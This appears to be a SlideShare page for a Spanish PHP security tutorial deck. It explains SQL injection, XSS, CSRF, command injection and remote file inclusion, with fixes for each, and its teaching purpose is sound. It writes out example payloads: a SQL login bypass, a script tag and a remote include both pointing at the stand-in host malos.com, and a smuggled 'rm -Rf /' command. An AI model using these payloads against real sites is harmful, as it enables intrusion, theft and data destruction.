Seguridad en PHP (es)

4,608 views

Published on

Published in: Technology
1 Comment
4 Likes
Statistics
Notes
  • Hola estoy en pleno diseño de unas paginas web; incluyendo base de datos; que me sugieres, para poder salvaguardar lo diseñado; algo que no tenga accesividad al sistema de datos, etc GRACIAS
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
No Downloads
Views
Total views
4,608
On SlideShare
0
From Embeds
0
Number of Embeds
3
Actions
Shares
0
Downloads
230
Comments
1
Likes
4
Embeds 0
No embeds

No notes for slide

Seguridad en PHP (es)

  1. 1. PHP SEGURIDAD (o cómo evitar que los malos nos jodan vivos)
  2. 2. PHP <ul><li>Hoy en día, hacer una web que no sea estática puede ser una pesadilla por la cantidad de ataques existentes
  3. 3. Algo tan simple como <?php echo $_GET['x']; ?> ya es una vulnerabilidad en una página web </li><ul><li>Sí, lo digo en serio </li><ul><li>¡Muy en serio! </li></ul></ul></ul>
  4. 4. PHP <ul><li>2 reglas básicas: </li><ul><li>NUNCA confiar en datos que provengan del usuario
  5. 5. &quot;Filter your input, Escape your output&quot; </li></ul><li>Además de éstas hay otras a tener en cuenta, pero sin duda éstas son las más importantes </li></ul>
  6. 6. PHP <ul><li>No confiar en datos que vienen del usuario (i) </li><ul><li>Si el usuario puede modificar el valor de una variable, no se debe confiar nunca en este dato </li><ul><li>productos.php?id=4
  7. 7. El usuario puede modificar fácilmente el id de producto a visualizar, y poner, en vez de un número, cualquier otra cosa
  8. 8. ¡¡¡Asegurarse que $_GET['id'] es un número!!! </li></ul></ul></ul>
  9. 9. PHP <ul><li>No confiar en datos que vienen del usuario (ii) </li><ul><li>En el caso anterior está muy claro que el usuario puede modificar el id que nos envía.
  10. 10. En el formulario que aparece aquí al lado, un usuario también puede modificar el valor del mes </li><ul><li>¿Cómo? Modificando el html y luego enviando el formulario a su destino
  11. 11. O usando plugins para el navegador
  12. 12. ¡10 minutos de ejercicio! </li></ul></ul></ul>
  13. 13. PHP <ul><li>No confiar en datos que vienen del usuario (iii) </li><ul><li>Visto lo visto con el ejercicio anterior, espero que todos comprobéis que lo que os llega a través de formularios son valores válidos antes de empezar a trabajar con ellos
  14. 14. Datos que puede modificar el usuario: </li><ul><li>$_GET, $_POST, $_REQUEST, $_COOKIE, $_FILES* , $_SERVER* </li></ul></ul></ul>* Algunos campos únicamente
  15. 15. PHP <ul><li>Filter your input, Escape your output (i) </li><ul><li>Filter your input se refiere a lo que ya hemos comentado antes... no confiar en los datos que envía el usuario
  16. 16. Cada vez que enviamos datos a un medio, hemos de evitar que caracteres especiales para ese medio que puedan existir en los datos que enviamos se interpreten como tales: </li><ul><li>Comillas (simples o dobles) en bases de datos
  17. 17. <, >, &, ', &quot; en html
  18. 18. ', &quot;, $, ;, ` al ejecutar comandos en la terminal </li></ul></ul></ul>
  19. 19. PHP <ul><li>Filter your input, Escape your output (ii) </li><ul><li>SQL Injection (i) </li><ul><li>Sucede cuando no escapamos las ' o &quot; en una consulta a la base de datos
  20. 20. $sql = &quot;SELECT * FROM usuarios WHERE username='{$_POST['username']}' AND password='{$_POST['password']}'&quot;;
  21. 21. Si nos envían usuario 'pepe' y contraseña 'patata'
  22. 22. $sql = &quot;SELECT * FROM usuarios WHERE username='pepe' AND password='patata';
  23. 23. ¡Sin peligro! </li></ul></ul></ul>
  24. 24. PHP <ul><li>Filter your input, Escape your output (iii) </li><ul><li>SQL Injection (ii) </li><ul><li>Un atacante podría introducir esto como username: ' OR id=1 -- (tal cual, con la comilla incluída)
  25. 25. Query generado: $sql = &quot;SELECT * FROM usuarios WHERE username='' OR id=1 -- ' AND password='blabla'&quot;
  26. 26. A partir de -- es comentario
  27. 27. ¡El atacante podría autenticarse como cualquier usuario! </li></ul></ul></ul>
  28. 28. PHP <ul><li>Filter your input, Escape your output (iv) </li><ul><li>SQL Injection (iii) </li><ul><li>Un atacante podría usar una SQL Injection para múltiples propósitos:
  29. 29. Login sin usuario / contraseña
  30. 30. Obtener registros de la base de datos (datos bancarios, personales, passwords...)
  31. 31. Eliminar registros o tablas de la BD </li></ul></ul></ul>
  32. 32. PHP <ul><li>Filter your input, Escape your output (v) </li><ul><li>SQL Injection (iv) </li><ul><li>Solución: Escapar las comillas (y algunos otros caracteres)
  33. 33. Manera: Usar métodos específicos del driver de la base de datos: </li><ul><li>$mysqli->real_escape_string($variable)
  34. 34. $pdo->quote($variable)
  35. 35. Si no hay método disponible, addslashes($var) </li></ul><li>Manera 2: Prepared Statements </li></ul></ul></ul>
  36. 36. PHP <ul><li>Filter your input, Escape your output (vi) </li><ul><li>Cross-Site Scripting (XSS) (i) </li><ul><li>Cuando los datos que escribe el usuario se muestran en una página web
  37. 37. El usuario puede escribir html que se interpretará como tal
  38. 38. Posibilidades enormes para un atacante, la más habitual insertar un <iframe> o <script> que cargue una página/script con código malévolo
  39. 39. XSS ataca a los usuarios de la web, no a la web en si misma (habitualmente) </li></ul></ul></ul>
  40. 40. PHP <ul><li>Filter your input, Escape your output (vii) </li><ul><li>Cross-Site Scripting (XSS) (ii) </li><ul><li>Si un atacante consigue meter código html en una página que puede ver mucha gente, ya la hemos jodido
  41. 41. Habitualmente: foros, perfiles de usuario
  42. 42. En caso que no pueda, igualmente podemos (bueno, nuestros usuarios) estar jodidos: vulnerable.php?id=<script src=&quot;http://malos.com/script.js&quot;> </script>
  43. 43. Usa un redireccionador tipo tinyurl para el ataque anterior </li></ul></ul></ul>
  44. 44. PHP <ul><li>Filter your input, Escape your output (viii) </li><ul><li>Cross-Site Scripting (XSS) (iii) </li><ul><li>Para protegernos (y a nuestros usuarios): Evitar que se interprete el código html que entran nuestros usuarios
  45. 45. htmlspecialchars($texto_usuario); </li></ul></ul></ul>
  46. 46. PHP <ul><li>Cross-Site Request Forgery (CSRF) (i) </li><ul><li>Un atacante envia una petición a un sitio web como si proviniera de un usuario legítimo
  47. 47. ejemplo </li><ul><li>Un usuario se ha logueado en www.mipagina.com
  48. 48. En otra ventana del navegador, visita http://malos.com/, donde hay este código: <img src=&quot;http://mipagina.com/logout.php&quot; />
  49. 49. Esto provoca que el navegador del usuario lance una petición a mipagina.com/logout.php, que parece legítima, y desloguea al usuario </li></ul></ul></ul>
  50. 50. PHP <ul><li>Cross-Site Request Forgery (CSRF) (ii) </li><ul><li>Puede afectar tanto a peticiones GET como POST
  51. 51. El caso del logout es más o menos inofensivo, aunque molesto
  52. 52. lacaixa.com/traspasar_fondos.php?from=mi_cuenta&to=cuenta_atacante&cantidad=10000 </li><ul><li>ya no es tan inofensivo eh? </li></ul></ul></ul>
  53. 53. PHP <ul><li>Cross-Site Request Forgery (CSRF) (iii) </li><ul><li>Para protegernos (y a nuestros usuarios)
  54. 54. Uso de tokens únicos entre peticiones </li><ul><li>Generar un token aleatorio y guardarlo en la sesión
  55. 55. En la siguiente petición que haya, comprobar la existencia de dicho token (que se habrá enviado en la url o mediante un input hidden)
  56. 56. Si existe y es el mismo que el de la sesión, todo correcto: procesamos la petición
  57. 57. Si no existe o es diferente: posible ataque. No hacemos nada </li></ul></ul></ul>
  58. 58. PHP <ul><li>Cross-Site Request Forgery (CSRF) (iv) </li><ul><ul><li>Regenerar un token cada vez
  59. 59. Es muy difícil (si no imposible) que un atacante pueda realizar una petición haciéndose pasar por un usuario legítimo acertando el token que toque </li></ul><li>Es un ataque indiscriminado, aunque con pocas posibilidades de éxito excepto a sitios de primera línea </li><ul><li>Necesitamos que el usuario se haya autenticado en la página y luego visite la web malos.com </li></ul></ul></ul>
  60. 60. PHP <ul><li>Ejecutar comandos (i) </li><ul><li>Imaginad que queremos mostrar al usuario los archivos que hay en una carpeta, el nombre de la cual nos la proporciona el usuario: listar.php?carpeta=imagenes
  61. 61. El código de listar.php incluye: $comando = &quot;ls &quot;.$_GET['carpeta']; echo exec($comando); </li></ul></ul>
  62. 62. PHP <ul><li>Ejecutar comandos (ii) </li><ul><li>Si el usuario accede a: listar.php?carpeta=imagenes; rm -Rf /
  63. 63. La instrucción a ejecutar quedaría como: ls imagenes; rm -Rf /
  64. 64. 2 comandos! listar el contenido de la carpeta imágenes... y luego borrar todos los archivos del disco duro!
  65. 65. Evitarlo usando escapeshellcmd() y escapeshellarg() </li></ul></ul>
  66. 66. PHP <ul><li>Incluir archivos remotos (i) </li><ul><li>Es (o era) bastante común acceder a un sitio con una url similar a index.php?pagina=productos
  67. 67. Internamente, index.php realiza una cosa similar a require_once($_GET['pagina'].'.php');
  68. 68. Qué pasa si un atacante accede a index.php?pagina=http://malos.com/script
  69. 69. Bingo... la hemos jodido! </li></ul></ul>
  70. 70. PHP <ul><li>Incluir archivos remotos (ii) </li><ul><li>http://malos.com/script.php será una página con código PHP, que descargaremos y ejecutaremos en nuestro servidor, lo que significa que estaremos ejecutando código PHP creado por un atacante... y que probablemente no tendrá nada de bueno
  71. 71. Para evitarlo (i): </li><ul><li>Pasar la página como un número y consultar un array de páginas
  72. 72. Poner un ./ al inicio del require (de esta forma se intentaría incluir './http://malos.com/script.php', y fallaría </li></ul></ul></ul>
  73. 73. PHP <ul><li>Incluir archivos remotos (iii) </li><ul><li>Para evitarlo (ii): </li><ul><li>Desactivar la funcionalidad de incluir archivos remotos en php (directiva allow_url_include) </li></ul></ul></ul>
  74. 74. PHP <ul><li>TODO: </li><ul><li>Validación servidor obligatoria!!! </li><ul><li>(validación cliente opcional) </li></ul><li>Robo sesiones
  75. 75. Usuario root bd </li></ul></ul>

×